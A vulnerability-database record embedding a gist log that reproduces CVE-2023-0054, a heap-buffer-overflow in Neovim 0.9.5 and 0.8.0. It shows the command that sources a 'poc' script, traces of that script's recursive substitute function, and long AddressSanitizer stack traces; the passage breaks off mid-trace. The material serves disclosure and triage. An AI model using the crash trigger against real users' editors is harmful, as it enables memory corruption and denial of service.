{"uuid": "9a5be9de-0cfb-42a1-a6ee-1e817e2e2893", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0054", "type": "seen", "source": "https://gist.github.com/zhuozhenwei/323ae9310b5da9adc62133de36aabb24", "content": "Command:\n./nvim-0.9.5 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0054)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0054)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0054)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0054)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0054)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0054)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0054)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0054)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0054)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0054)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0054)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0054)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0054)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0054)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0054)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0054)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0054)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0054)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0054)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0054)\nExecuting:     aunmenu *\n\nExecuting:     vnoremenu PopUp.Cut                     \"+x\n\nExecuting:     vnoremenu PopUp.Copy                    \"+y\n\nExecuting:     anoremenu PopUp.Paste                   \"+gP\n\nExecuting:     vnoremenu PopUp.Paste                   \"+P\n\nExecuting:     vnoremenu PopUp.Delete                  \"_x\n\nExecuting:     nnoremenu PopUp.Select\\ All             ggVG\n\nExecuting:     vnoremenu PopUp.Select\\ All             gg0oG$\n\nExecuting:     inoremenu PopUp.Select\\ All             VG\n\nExecuting:     anoremenu PopUp.-1-                     \n\nExecuting:     anoremenu PopUp.How-to\\ disable\\ mouse  help disable-mouse\n\nExecuting:   \n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0054)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0054)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0054)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0054)\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: fu Re000(g,n)\n\nline 5: n0\n\nline 5: unlet! b:keymap_name\n\nline 6: s/\\%')/\\=Re000('',0)\n\ncalling Re000('', 0)\n\nline 1: s\n\ncalling Re000('', 0)\n\nline 1: s\n\ncalling Re000('', 0)\n\nline 1: s\n\ncalling Re000('', 0)\n\nline 1: s\n\nError detected while processing command line..script /home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0054/CVE-2023-0054[6]..function Re000[1]..Re000[1]..Re000[1]..Re000:\nline    1:\nE1290: substitute nesting too deep\nline 2: r%:s000\n\nline    2:\nE1290: substitute nesting too deep\nE1290: substitute nesting too deep=================================================================\n==31199==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6110000021ff at pc 0x0000004cc7ee bp 0x7fffa2b5ddb0 sp 0x7fffa2b5d570\nWRITE of size 2 at 0x6110000021ff thread T0\n    #0 0x4cc7ed in strcpy (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x4cc7ed)\n    #1 0x69d6a3 in do_string_sub /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:8088:7\n    #2 0x69c6d4 in modify_fname /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:7985:15\n    #3 0x75980b in eval_vars /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6974:16\n    #4 0x7584a7 in expand_filename /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:3773:18\n    #5 0x754296 in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1557:9\n    #6 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #7 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #8 0x707369 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1122:5\n    #9 0x709e8b in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1259:5\n    #10 0x7059eb in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1613:17\n    #11 0x704d9b in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:495:11\n    #12 0x6a592d in eval_func /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2193:13\n    #13 0x6a22c8 in eval7 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:3000:15\n    #14 0x6a1490 in eval6 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2742:7\n    #15 0x6a0a43 in eval5 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2597:7\n    #16 0x6a041f in eval4 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2467:7\n    #17 0x69ffb6 in eval3 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2399:7\n    #18 0x68a23b in eval2 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2342:7\n    #19 0x685970 in eval1 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2280:7\n    #20 0x684a86 in eval0 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2236:9\n    #21 0x685d7e in eval_to_string /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:871:7\n    #22 0x9a1958 in vim_regsub_both /home/zzw/Desktop/neovim/build/../src/nvim/regexp.c:1824:31\n    #23 0x9a2102 in vim_regsub_multi /home/zzw/Desktop/neovim/build/../src/nvim/regexp.c:1696:16\n    #24 0x73c7f5 in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3902:20\n    #25 0x73a10c in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:4673:9\n    #26 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #27 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #28 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #29 0x707369 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1122:5\n    #30 0x709e8b in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1259:5\n    #31 0x7059eb in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1613:17\n    #32 0x704d9b in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:495:11\n    #33 0x6a592d in eval_func /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2193:13\n    #34 0x6a22c8 in eval7 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:3000:15\n    #35 0x6a1490 in eval6 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2742:7\n    #36 0x6a0a43 in eval5 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2597:7\n    #37 0x6a041f in eval4 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2467:7\n    #38 0x69ffb6 in eval3 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2399:7\n    #39 0x68a23b in eval2 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2342:7\n    #40 0x685970 in eval1 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2280:7\n    #41 0x684a86 in eval0 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2236:9\n    #42 0x685d7e in eval_to_string /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:871:7\n    #43 0x9a1958 in vim_regsub_both /home/zzw/Desktop/neovim/build/../src/nvim/regexp.c:1824:31\n    #44 0x9a2102 in vim_regsub_multi /home/zzw/Desktop/neovim/build/../src/nvim/regexp.c:1696:16\n    #45 0x73c7f5 in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3902:20\n    #46 0x73a10c in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:4673:9\n    #47 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #48 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #49 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #50 0x707369 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1122:5\n    #51 0x709e8b in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1259:5\n    #52 0x7059eb in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1613:17\n    #53 0x704d9b in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:495:11\n    #54 0x6a592d in eval_func /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2193:13\n    #55 0x6a22c8 in eval7 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:3000:15\n    #56 0x6a1490 in eval6 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2742:7\n    #57 0x6a0a43 in eval5 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2597:7\n    #58 0x6a041f in eval4 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2467:7\n    #59 0x69ffb6 in eval3 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2399:7\n    #60 0x68a23b in eval2 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2342:7\n    #61 0x685970 in eval1 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2280:7\n    #62 0x684a86 in eval0 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2236:9\n    #63 0x685d7e in eval_to_string /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:871:7\n    #64 0x9a1958 in vim_regsub_both /home/zzw/Desktop/neovim/build/../src/nvim/regexp.c:1824:31\n    #65 0x9a2102 in vim_regsub_multi /home/zzw/Desktop/neovim/build/../src/nvim/regexp.c:1696:16\n    #66 0x73c7f5 in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3902:20\n    #67 0x73a10c in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:4673:9\n    #68 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #69 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #70 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #71 0x707369 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1122:5\n    #72 0x709e8b in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1259:5\n    #73 0x7059eb in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1613:17\n    #74 0x704d9b in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:495:11\n    #75 0x6a592d in eval_func /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2193:13\n    #76 0x6a22c8 in eval7 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:3000:15\n    #77 0x6a1490 in eval6 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2742:7\n    #78 0x6a0a43 in eval5 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2597:7\n    #79 0x6a041f in eval4 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2467:7\n    #80 0x69ffb6 in eval3 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2399:7\n    #81 0x68a23b in eval2 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2342:7\n    #82 0x685970 in eval1 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2280:7\n    #83 0x684a86 in eval0 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2236:9\n    #84 0x685d7e in eval_to_string /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:871:7\n    #85 0x9a1958 in vim_regsub_both /home/zzw/Desktop/neovim/build/../src/nvim/regexp.c:1824:31\n    #86 0x9a2102 in vim_regsub_multi /home/zzw/Desktop/neovim/build/../src/nvim/regexp.c:1696:16\n    #87 0x73c7f5 in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3902:20\n    #88 0x73a10c in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:4673:9\n    #89 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #90 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #91 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #92 0x9e86aa in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2167:5\n    #93 0x9e6daa in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1717:14\n    #94 0x9e6c8e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1725:3\n    #95 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #96 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #97 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #98 0x749541 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n    #99 0x517cab in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1899:5\n    #100 0x5110a4 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:578:5\n    #101 0x7fab84914082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #102 0x467f6d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x467f6d)\n\n0x6110000021ff is located 1 bytes to the left of 200-byte region [0x611000002200,0x6110000022c8)\nallocated by thread T0 here:\n    #0 0x4e09c9 in realloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x4e09c9)\n    #1 0x8a085e in xrealloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:168:15\n    #2 0x7c1833 in ga_grow /home/zzw/Desktop/neovim/build/../src/nvim/garray.c:101:14\n    #3 0x69d41a in do_string_sub /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:8067:7\n    #4 0x69c6d4 in modify_fname /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:7985:15\n    #5 0x75980b in eval_vars /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6974:16\n    #6 0x7584a7 in expand_filename /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:3773:18\n    #7 0x754296 in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1557:9\n    #8 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #9 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #10 0x707369 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1122:5\n    #11 0x709e8b in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1259:5\n    #12 0x7059eb in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1613:17\n    #13 0x704d9b in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:495:11\n    #14 0x6a592d in eval_func /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2193:13\n    #15 0x6a22c8 in eval7 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:3000:15\n    #16 0x6a1490 in eval6 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2742:7\n    #17 0x6a0a43 in eval5 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2597:7\n    #18 0x6a041f in eval4 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2467:7\n    #19 0x69ffb6 in eval3 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2399:7\n    #20 0x68a23b in eval2 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2342:7\n    #21 0x685970 in eval1 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2280:7\n    #22 0x684a86 in eval0 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2236:9\n    #23 0x685d7e in eval_to_string /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:871:7\n    #24 0x9a1958 in vim_regsub_both /home/zzw/Desktop/neovim/build/../src/nvim/regexp.c:1824:31\n    #25 0x9a2102 in vim_regsub_multi /home/zzw/Desktop/neovim/build/../src/nvim/regexp.c:1696:16\n    #26 0x73c7f5 in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:3902:20\n    #27 0x73a10c in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:4673:9\n    #28 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #29 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x4cc7ed) in strcpy\nShadow bytes around the buggy address:\n  0x0c227fff83e0: 00 00 00 00 00 00 fa fa fa fa fa fa fa fa fa fa\n  0x0c227fff83f0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c227fff8400: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fa fa\n  0x0c227fff8410: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00\n  0x0c227fff8420: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n=>0x0c227fff8430: 00 00 00 00 00 00 fa fa fa fa fa fa fa fa fa[fa]\n  0x0c227fff8440: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x0c227fff8450: 00 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa\n  0x0c227fff8460: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c227fff8470: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c227fff8480: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==31199==ABORTING\n\n\n\nCommand:\n./nvim-0.8.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0054)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0054)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0054)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0054)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0054)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0054)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0054)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0054)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0054)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0054)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0054)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0054)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0054)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0054)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0054)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0054)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0054)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0054)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0054)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0054)\nExecuting:     aunmenu *\n\nExecuting:     vnoremenu PopUp.Cut                     \"+x\n\nExecuting:     vnoremenu PopUp.Copy                    \"+y\n\nExecuting:     anoremenu PopUp.Paste                   \"+gP\n\nExecuting:     vnoremenu PopUp.Paste                   \"+P\n\nExecuting:     vnoremenu PopUp.Delete                  \"_x\n\nExecuting:     nnoremenu PopUp.Select\\ All             ggVG\n\nExecuting:     vnoremenu PopUp.Select\\ All             gg0oG$\n\nExecuting:     inoremenu PopUp.Select\\ All             VG\n\nExecuting:     anoremenu PopUp.-1-                     \n\nExecuting:     anoremenu PopUp.How-to\\ disable\\ mouse  help disable-mouse\n\nExecuting:   \n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: fu Re000(g,n)\n\nline 5: n0\n\nline 5: unlet! b:keymap_name\n\nline 6: s/\\%')/\\=Re000('',0)\n\ncalling Re000('', 0)\n\nline 1: s\n\ncalling Re000('', 0)\n\nline 1: s\n\ncalling Re000('', 0)\n\nline 1: s\n\ncalling Re000('', 0)\n\nline 1: s\n\nError detected while processing command line..script /home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-0054/CVE-2023-0054[6]..function Re000[1]..Re000[1]..Re000[1]..Re000:\nline    1:\nE1290: substitute nesting too deep\nline 2: r%:s000\n\nline    2:\nE1290: substitute nesting too deep\nE1290: substitute nesting too deep=================================================================\n==31944==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x611000001cff at pc 0x0000004cb81e bp 0x7ffd25777670 sp 0x7ffd25776e30\nWRITE of size 2 at 0x611000001cff thread T0\n    #0 0x4cb81d in strcpy (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.0-ASAN+0x4cb81d)\n    #1 0x81b4ee in do_string_sub /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:8365:7\n    #2 0x81a090 in modify_fname /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:8262:15\n    #3 0x9a64e6 in eval_vars /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6929:16\n    #4 0x9a28f1 in expand_filename /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:3753:26\n    #5 0x999cb0 in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1557:9\n    #6 0x98897b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #7 0x97dd3b in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #8 0x908fbe in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1085:5\n    #9 0x90e10e in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1222:5\n    #10 0x905ccb in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1562:17\n    #11 0x904445 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:462:11\n    #12 0x82bae1 in eval_func /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2235:13\n    #13 0x826193 in eval7 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:3101:15\n    #14 0x82341e in eval6 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2779:7\n    #15 0x821d9c in eval5 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2612:7\n    #16 0x821120 in eval4 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2512:7\n    #17 0x820a87 in eval3 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2441:7\n    #18 0x7f4ca7 in eval2 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2382:7\n    #19 0x7eb72c in eval1 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2318:7\n    #20 0x7e9e13 in eval0 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2279:9\n    #21 0x7ebe91 in eval_to_string /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:864:7\n    #22 0xe6f72a in vim_regsub_both /home/zzw/Desktop/neovim/build/../src/nvim/regexp.c:1834:31\n    #23 0xe71c91 in vim_regsub_multi /home/zzw/Desktop/neovim/build/../src/nvim/regexp.c:1706:16\n    #24 0x969d7a in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:4054:20\n    #25 0x96392a in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:4821:9\n    #26 0x99ad3c in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #27 0x98897b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #28 0x97dd3b in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #29 0x908fbe in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1085:5\n    #30 0x90e10e in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1222:5\n    #31 0x905ccb in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1562:17\n    #32 0x904445 in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:462:11\n    #33 0x82bae1 in eval_func /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2235:13\n    #34 0x826193 in eval7 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:3101:15\n    #35 0x82341e in eval6 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2779:7\n    #36 0x821d9c in eval5 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2612:7\n    #37 0x821120 in eval4 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2512:7\n    #38 0x820a87 in eval3 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2441:7\n    #39 0x7f4ca7 in eval2 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2382:7\n    #40 0x7eb72c in eval1 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2318:7\n    #41 0x7e9e13 in eval0 /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:2279:9\n    #42 0x7ebe91 in eval_to_string /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:864:7\n    #43 0xe6f72a in vim_regsub_both /home/zzw/Desktop/neovim/build/../src/nvim/regexp.c:1834:31\n    #44 0xe71c91 in vim_regsub_multi /home/zzw/Desktop/neovim/build/../src/nvim/regexp.c:1706:16\n    #45 0x969d7a in do_sub /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:4054:20\n    #46 0x96392a in ex_substitute /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:4821:9\n    #47 0x99ad3c in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #48 0x98897b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #49 0x97dd3b in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #50 0x908fbe in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1085:5\n    #51 0x90e10e in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1222:5\n    #52 